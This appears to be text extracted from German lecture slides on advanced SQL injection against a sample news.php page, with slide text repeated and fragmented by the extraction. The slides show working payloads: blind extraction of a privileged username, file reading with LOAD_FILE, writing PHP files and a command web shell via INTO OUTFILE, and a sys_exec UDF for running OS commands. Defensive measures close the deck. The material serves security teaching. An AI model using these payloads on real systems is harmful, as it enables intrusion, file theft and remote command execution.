var username = SELECT grantee FROM information_schema.user_privileges WHERE privilege_type=’File’ Limit 1

var asciicode = SELECT ascii(substring(username,1,1))

1 var asciicode = SELECT ascii(substring( username ,1,1)) URL = news.php?category=2 and asciicode > 77 T:

URL = news.php?category=2 and asciicode > 77

T: Kategorie 2 wird angezeigt

F: Nichts wird angezeigt

Seite 110 Blind SQL Injection in news.php

Inhaltsbasiert

• Extrahiert einen „Benutzernamen“ der File-Rechte hat:

var username = SELECT grantee FROM information_schema.user_privileges WHERE privilege_type=’File’ Limit 1

var asciicode = SELECT ascii(substring(username,1,1))

1 var asciicode = SELECT ascii(substring( username ,1,1)) URL = news.php?category=2 and asciicode > 77

URL = news.php?category=2 and asciicode > 77

/*Resultierende Abfrage*/

SELECT *

FROM ‘news‘ WHERE category=2

and(

SELECT ascii(substring(( SELECT grantee

FROM information_schema.user_privileges

WHERE privilege_type=’File’ Limit 1

),1,1))

) > 77

T: Kategorie 2 wird angezeigt

F: Nichts wird angezeigt

Seite 111 Filesystem Access

Voraussetzungen:

Der Session-User muss das Recht FILE haben.

Seite 112 Filesystem Access

Voraussetzungen:

Der Session-User muss das Recht FILE haben.

Beim Lesen: Owner(Datei) = Benutzer der MySQL-Prozess gestartet hat.

Seite 113 Filesystem Access

Voraussetzungen:

Der Session-User muss das Recht FILE haben.

Beim Lesen: Owner(Datei) = Benutzer der MySQL-Prozess gestartet hat.

Beim Schreiben: Owner(Erstellte Datei) = Benutzer der MySQL-Prozess gestartet hat.

Seite 114 Filesystem Access

Voraussetzungen:

Der Session-User muss das Recht FILE haben.

Beim Lesen: Owner(Datei) = Benutzer der MySQL-Prozess gestartet hat.

Beim Schreiben: Owner(Erstellte Datei) = Benutzer der MySQL-Prozess gestartet hat.

In Windows wird MySQL als LOCAL SYSTEM gestartet.

Seite 115 Filesystem Access

Voraussetzungen:

Der Session-User muss das Recht FILE haben.

Beim Lesen: Owner(Datei) = Benutzer der MySQL-Prozess gestartet hat.

Beim Schreiben: Owner(Erstellte Datei) = Benutzer der MySQL-Prozess gestartet hat.

In Windows wird MySQL als LOCAL SYSTEM gestartet.

Beschränkungen beim Schreiben:

No override and no append

Seite 116 Filesystem Access

Reading on Filesystem

URL: news.php?category=2 UNION SELECT LOAD_FILE(’C:/Windows/Temp/itsecproject.txt’),null,null

Seite 117 Filesystem Access

Reading on Filesystem

URL: news.php?category=2 UNION SELECT LOAD_FILE(’C:/Windows/Temp/itsecproject.txt’),null,null

/*Resultierende Abfrage*/ SELECT * FROM ‘news‘ WHERE category=2

UNION

SELECT LOAD_FILE(’C:/Windows/Temp/itsecproject.txt’),null,null

Seite 118 Filesystem Access

Reading on Filesystem

URL: news.php?category=2 UNION SELECT LOAD_FILE(’C:/Windows/Temp/itsecproject.txt’),null,null

/*Resultierende Abfrage*/ SELECT * FROM ‘news‘ WHERE category=2

UNION

SELECT LOAD_FILE(’C:/Windows/Temp/itsecproject.txt’),null,null

* FROM ‘news‘ WHERE category=2 UNION SELECT L OAD_FILE(’C:/Windows/Temp/itsecproject.txt’), null , null

Seite 119 Filesystem Access

Writing on Filesystem

/*INTO OUTFILE für Textdateien*/ SELECT ’<?php phpinfo()?>’ INTO OUTFILE ’C:/xampp/htdocs/itsec/info.php’;

Seite 120 Filesystem Access

Writing on Filesystem

/*INTO OUTFILE für Textdateien*/ SELECT ’<?php phpinfo()?>’ INTO OUTFILE ’C:/xampp/htdocs/itsec/info.php’;

/*INTO DUMPFILE für Binärdateien*/

SELECT 0x273c3f70687020706870696e666f28293f3e27

INTO DUMPFILE ’C:/xampp/htdocs/itsec/info.php’;

Operating System Access

Seite 122 Operating System Access

Erzeugen einer Webshell

UNION SELECT "<?system($_REQUEST[’cmd’]);?>" INTO OUTFILE "/var/www/html/victim.de/shell.php"

Seite 123 Operating System Access

Erzeugen einer Webshell

UNION SELECT "<?system($_REQUEST[’cmd’]);?>" INTO OUTFILE "/var/www/html/victim.de/shell.php"

Aufruf: victim.de/shell.php?cmd=dir>test.txt

Seite 124 Operating System Access

Erzeugen einer Webshell

UNION SELECT "<?system($_REQUEST[’cmd’]);?>" INTO OUTFILE "/var/www/html/victim.de/shell.php"

Aufruf: victim.de/shell.php?cmd=dir>test.txt Einlesen über SELECT LOAD_FILE()

Seite 125 Operating System Access

User Defined Functions

Verwendung um z.B. COSH(), ATAN() zur SQL-Sprache hinzuzufügen.

Aufruf wie SUM(), MAX()

Seite 126 Operating System Access

User Defined Functions

Verwendung um z.B. COSH(), ATAN() zur SQL-Sprache hinzuzufügen.

Aufruf wie SUM(), MAX()

SQL-Sprache hinzuzufügen. • Aufruf wie SUM(), MAX() int sys_exec( UDF_INIT *initid, UDF_ARGS *args, char

int sys_exec( UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error)

{

if( args->arg_count != 1 ) return 0; system( args->args[0] ); return 0;

}

Seite 127 Operating System Access

User Defined Functions

Schritte für Exploit:

S e i t e 1 2 7 Operating System Access User Defined Functions Schritte für

Seite 128 Operating System Access

User Defined Functions

Schritte für Exploit:

1. DLL mit sys_exec() erstellen oder besorgen.

Seite 129 Operating System Access

User Defined Functions

Schritte für Exploit:

1.

DLL mit sys_exec() erstellen oder besorgen.

2.

DLL auf Zielrechner kopieren (siehe Writing on Filesystem).

Seite 130 Operating System Access

User Defined Functions

Schritte für Exploit:

1.

DLL mit sys_exec() erstellen oder besorgen.

2.

DLL auf Zielrechner kopieren (siehe Writing on Filesystem).

3.

Die Funktionen in der DLL müssen beim DBMS registriert werden.

Seite 131 Operating System Access

User Defined Functions

Schritte für Exploit:

1.

DLL mit sys_exec() erstellen oder besorgen.

2.

DLL auf Zielrechner kopieren (siehe Writing on Filesystem).

3.

Die Funktionen in der DLL müssen beim DBMS registriert werden.

4.

Warten bis MySQL neugestartet wird.

Test:

3. Die Funktionen in der DLL müssen beim DBMS registriert werden. 4. Warten bis MySQL neugestartet

Seite 132 Operating System Access

User Defined Functions

Schritte für Exploit:

1.

DLL mit sys_exec() erstellen oder besorgen.

2.

DLL auf Zielrechner kopieren (siehe Writing on Filesystem).

3.

Die Funktionen in der DLL müssen beim DBMS registriert werden.

4.

Warten bis MySQL neugestartet wird.

Test:

/*Benutzereingabe*/ URL: news.php?category=2 UNION SELECT null,null, sys_exec(’shutdown /s’)

Seite 133 Operating System Access

User Defined Functions

Schritte für Exploit:

1.

DLL mit sys_exec() erstellen oder besorgen.

2.

DLL auf Zielrechner kopieren (siehe Writing on Filesystem).

3.

Die Funktionen in der DLL müssen beim DBMS registriert werden.

4.

Warten bis MySQL neugestartet wird.

Test:

/*Benutzereingabe*/ URL: news.php?category=2 UNION SELECT null,null, sys_exec(’shutdown /s’)

/*Resultierende Abfrage*/

SELECT * FROM ‘news‘ WHERE category=2 UNION SELECT null,null, sys_exec(’shutdown /s’)

Seite 134 Operating System Access

User Defined Functions

Schritte für Exploit:

1.

DLL mit sys_exec() erstellen oder besorgen.

2.

DLL auf Zielrechner kopieren (siehe Writing on Filesystem).

3.

Die Funktionen in der DLL müssen beim DBMS registriert werden.

4.

Warten bis MySQL neugestartet wird.

Test:

/*Benutzereingabe*/ URL: news.php?category=2 UNION SELECT null,null, sys_exec(’shutdown /s’)

/*Resultierende Abfrage*/

SELECT * FROM ‘news‘ WHERE category=2 UNION SELECT null,null, sys_exec(’shutdown /s’)

/*PC wird in einer Minute heruntergefahren.*/ /*Abbrechen mit shutdown -a*/

Schutzmaßnahmen

Seite 137

Seite 137 https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project

https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project

Seite 138 Schutzmaßnahmen

Allgemein

Richtige Konfiguration der Infrastruktur

Code nach Sinks reviewen

Einsatz von Sourcecode-Analyzer

Web Application Firewalls

Rechtetrennung

Seite 139 Code Level Defenses

Validating Input

Encoding Input

Prepared Statements

Encoding Output

Canonicalization

Seite 140 Code Level Defenses

Prepared Statements

S e i t e 1 4 0 Code Level Defenses Prepared Statements

Seite 141 Code Level Defenses

Stored Procedures bieten keinen generellen Schutz

S e i t e 1 4 1 Code Level Defenses Stored Procedures bieten keinen generellen

Seite 142 Code Level Defenses

Stored Procedures bieten keinen generellen Schutz

Defenses Stored Procedures bieten keinen generellen Schutz • Dynamische String-Konkatenation → Diese Stored

Dynamische String-Konkatenation → Diese Stored Procedure ist unsicher

Zusammenfassung

Seite 144 Basic SQL-Injections

Injections lokalisieren

Database Fingerprinting / Datenbankschema

Tautologien

Authentication Bypass

Stacked Queries

SQL Injection XSS

Seite 145

Advanced SQL-Injections

Second Order Injections

Blind SQL Injections

Filesystem Access

Operating System Access